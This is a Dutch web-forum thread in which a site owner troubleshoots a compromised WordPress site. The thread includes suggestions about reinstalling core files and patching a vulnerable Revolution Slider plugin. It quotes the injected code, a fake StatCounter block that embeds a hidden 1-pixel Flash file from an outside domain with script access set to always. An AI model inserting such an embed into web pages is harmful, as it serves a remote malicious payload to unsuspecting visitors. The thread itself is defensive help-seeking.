Hallo,

Als ik naar de website van een kennis ga met Google Chrome, krijg ik van Avast een malware melding.
http://i61.tinypic.com/no8xmv.jpg




Waar zit wat? Ik ben alle plugins na gegaan, het thema de database, ik kan niets vinden.

Groetjes,

Rogier

Ik neem aan gewoon in de url die er staat? Dus dat swf bestand? Iig dat zegt die infection ook?

Bedankt voor je reactie.
De URL is van een andere website, die ik niet ken.
Dom dat ik het vergat maar de URL komt voor in een statcounter code die ik in de broncode van de website zie.
Wat al enige tijd opviel, is dat plugins niet middels de repository kunnen worden geinstalleerd.
Alleen door ze handmatig te uploaden. Anders krijg ik de melding:

"An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums."

Dit is de statcounter code:

Code:

<!-- Start of StatCounter Code for Default Guide -->

<object type="application/x-shockwave-flash" data="http://www.ilpianigiano.com/images/banners/kwk.swf


?myid=87a0de1cb46cd91b936863f4487c53ae" width="1px" height="1px" id="87a0de1cb46cd91b936863f4487c53ae">


<param name="AllowScriptAccess" value="always"/>


<param name="myid" value="87a0de1cb46cd91b936863f4487c53ae" />


<param name="movie" value="http://www.ilpianigiano.com/images/banners/kwk.swf


?myid=87a0de1cb46cd91b936863f4487c53ae"/>


<embed  src="http://www.ilpianigiano.com/images/banners/kwk.swf


?myid=87a0de1cb46cd91b936863f4487c53ae" width="1" height="1">


</embed>


</object>



<!-- End of StatCounter Code for Default Guide -->

Denk dat je die 'statcounter' code eruit moet pleuren en WP eropnieuw overheen gooien.

Ik heb de originele statcountercode eruit gedonderd maar de malware versie blijft gewoon staan.
Helaas zit ik momenteel in een hotel, de router blokkeert FTP e.d.... :|
Anders zou ik de core bestanden overschrijven.

Probeer het eens met deze tool. Heeft me al vele malen uit de brand geholpen ;-).

Origineel gepost door Riccardo de Wit

Probeer het eens met deze tool. Heeft me al vele malen uit de brand geholpen ;-).

Bedankt, vanmiddag al mee beziggeweest, alles liep vast.
Ik kijk er morgen even naar als ik achter een normale internetverbinding zit. (1Mb/sec.... gruwelijk)

Hallo Rogier,

Vervelend om te lezen dat je hier tegen aanloopt. We zouden je eventueel kunnen helpen.

Mocht je interesse hebben stuur even een bericht naar met de benodigde informatie.

Mvg Maikel

Dat is helemaal geen originele Statcounter code? Die embed alleen maar een GIF-je, en is veel korter. De code die je laat zien, is om een Flash filmpje te embedden.

Ik drukte me niet zo handig uit, én ik moet beter opletten. Die code zal wel van Statcounter zijn, maar je hebt daar de keus uit meerdere codes, probeer eens een code waar alleen een GIF-je wordt geplaatst.

Het probleem is nou helemaal uit de klauwen gelopen...
Gisteren zag ik allemaal adsense reclames, op de plek waar normaal de javascript banners in widgets zaten.
Volgens AVG gaat het om een SWF framer. Ik heb het idee dat het om SOAK gaat.
De Revolution Slider plugin is ooit geďnstalleerd.

Hoe kan ik deze zooi het beste verwijderen?

Deze misschien?
https://wordpress.org/plugins/patch-...lution-slider/

Bedankt voor je hulp, het enige wat ik momenteel zie is:

Black list

Below is a list with everyone who attempted to use a Revolution Slider exploit to gain access to your website.

Nothing to show for now.

Ik wacht het nog even af,misschien gebeurd er later wat.